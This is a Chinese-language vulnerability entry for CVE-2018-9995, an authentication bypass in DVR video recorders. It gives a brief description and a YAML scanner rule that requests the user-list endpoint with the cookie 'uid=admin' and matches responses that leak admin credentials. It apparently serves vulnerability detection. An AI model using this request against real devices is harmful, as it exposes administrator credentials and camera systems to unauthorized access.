CVE-2018-9995: DVR Authentication Bypass

日期: 2025-09-01 | 影响软件: DVR | POC: 已公开

漏洞描述

DVR,全称为Digital Video Recorder(硬盘录像机),即数字视频录像机。最初由阿根廷研究员发现,通过使用“Cookie: uid = admin”的Cookie标头来访问特定DVR的控制面板,DVR将以明文形式响应设备的管理员凭证。

PoC代码[已公开]

id: CVE-2018-9995

info:
    name: DVR Authentication Bypass
    author: cc_ci(https://github.com/cc8ci)
    severity: critical
    description: |
        DVR,全称为Digital Video Recorder(硬盘录像机),即数字视频录像机。最初由阿根廷研究员发现,通过使用“Cookie: uid = admin”的Cookie标头来访问特定DVR的控制面板,DVR将以明文形式响应设备的管理员凭证。
    reference:
        - http://wiki.peiqi.tech/wiki/iot/DVR/DVR%20%E7%99%BB%E5%BD%95%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2018-9995.html

rules:
    r0:
        request:
            method: GET
            path: /device.rsp?opt=user&cmd=list
            headers:
                Cookie: uid=admin
            follow_redirects: true
        expression: response.status == 200 && response.body.bcontains(bytes("\"uid\":")) && response.body.bcontains(b'"playback":')
expression: r0()

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